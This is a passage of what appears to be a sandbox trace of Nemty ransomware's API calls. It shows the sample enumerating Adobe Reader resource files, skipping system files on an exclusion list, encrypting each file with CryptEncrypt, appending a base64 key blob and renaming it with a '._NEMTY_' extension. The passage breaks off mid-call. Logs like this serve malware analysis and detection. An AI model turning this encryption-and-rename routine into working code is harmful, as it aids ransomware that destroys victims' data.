10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp.txt._nemty_kgobjgd_")) returned 1 [0215.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.940] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6594, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", cAlternateFileName="DI1663~1.TXT")) returned 1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2=".") returned 1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="..") returned 1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="...") returned 1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="windows") returned -1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="rsa") returned -1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="NTDETECT.COM") returned -1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="ntldr") returned -1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="MSDOS.SYS") returned -1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="IO.SYS") returned -1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="boot.ini") returned 1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="boot.ini") returned 1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="ntuser.dat") returned -1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="desktop.ini") returned 1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="CONFIG.SYS") returned 1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="RECYCLER") returned -1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="bootmgr") returned 1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="programdata") returned -1 [0215.940] lstrcmpiW (lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpString2="appdata") returned 1 [0215.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340048 [0215.940] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0215.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.940] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", cchWideChar=42, lpMultiByteStr=0x6345608, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpUsedDefaultChar=0x0) returned 42 [0215.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x63400b0 [0215.940] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0215.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.940] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", cchWideChar=42, lpMultiByteStr=0x6345608, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpUsedDefaultChar=0x0) returned 42 [0215.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400b0 | out: hHeap=0x4f90000) returned 1 [0215.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340048 [0215.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0215.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", cchWideChar=42, lpMultiByteStr=0x6345608, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpUsedDefaultChar=0x0) returned 42 [0215.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340048 [0215.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0215.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0215.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", cchWideChar=42, lpMultiByteStr=0x6345640, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", lpUsedDefaultChar=0x0) returned 42 [0215.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340218 [0215.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340048 [0215.941] Sleep (dwMilliseconds=0x5) [0215.949] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x345a5d70, dwHighDateTime=0x1d561e8)) [0215.949] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x345a5d70, dwHighDateTime=0x1d561e8)) [0215.949] GetLastError () returned 0x0 [0215.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.949] GetLastError () returned 0x0 [0215.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.949] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.949] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.949] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.949] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="w/2ZkA43yjcjra/FkTWU1m9BrA4xiNcdUs08QdlPS1C79ZoYpZZyfS/b6I6zNe0W\r\nCVMKusFgZt6OMBnLZM6REKhG9YM48WBf/ErvRVwnHCLRf8OiOn/9A7W2WLOLIFxf\r\ntg/SudcyWk4MgqB10/MgdC8klN1lwHXGIe7+Btfbqdyf7kKOmED5XkqtBzgR9qOq\r\nGbpQ8LZ4HTTFGZ93+CCFlq4UmXGE0I8vyTpysFoVat4dbSlw4YAgrudWkFg/oSxP\r\n3zXt/HcvOfFIQi7NSrHCf9uqgdmBwW5TY7LfIA3fyQFvke0yq7N7awLCgTc+ayld\r\noTXaNU+nKzm1Y0m5Lo8xBw==\r\n", pcchString=0x653e5dc) returned 1 [0215.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.949] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp_traditional.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.950] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=26004) returned 1 [0215.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6590) returned 0x6352c48 [0215.950] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.950] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6590, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6590, lpOverlapped=0x0) returned 1 [0215.953] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.953] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6590, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6590, lpOverlapped=0x0) returned 1 [0215.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.953] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=26004, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6594 [0215.953] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.954] CloseHandle (hObject=0x2e8) returned 1 [0215.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340310 [0215.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x100) returned 0x6340408 [0215.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x17e) returned 0x6343fe8 [0215.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340408 | out: hHeap=0x4f90000) returned 1 [0215.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.954] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp_traditional.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp_traditional.txt._nemty_kgobjgd_")) returned 1 [0215.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0215.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0215.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0215.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.955] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x626a, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ko.txt", cAlternateFileName="DI1265~1.TXT")) returned 1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2=".") returned 1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="..") returned 1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="...") returned 1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="windows") returned -1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="rsa") returned -1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="NTDETECT.COM") returned -1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="ntldr") returned -1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="MSDOS.SYS") returned -1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="IO.SYS") returned -1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="boot.ini") returned 1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="boot.ini") returned 1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="ntuser.dat") returned -1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="desktop.ini") returned 1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="CONFIG.SYS") returned 1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="RECYCLER") returned -1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="bootmgr") returned 1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="programdata") returned -1 [0215.955] lstrcmpiW (lpString1="DisplayLanguageNames.ko.txt", lpString2="appdata") returned 1 [0215.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ko.txt", lpUsedDefaultChar=0x0) returned 27 [0215.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ko.txt", lpUsedDefaultChar=0x0) returned 27 [0215.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ko.txt", lpUsedDefaultChar=0x0) returned 27 [0215.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ko.txt", lpUsedDefaultChar=0x0) returned 27 [0215.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.956] Sleep (dwMilliseconds=0x5) [0215.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x345cbed0, dwHighDateTime=0x1d561e8)) [0215.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x345cbed0, dwHighDateTime=0x1d561e8)) [0215.966] GetLastError () returned 0x0 [0215.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.966] GetLastError () returned 0x0 [0215.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.966] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.966] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.966] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.966] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: 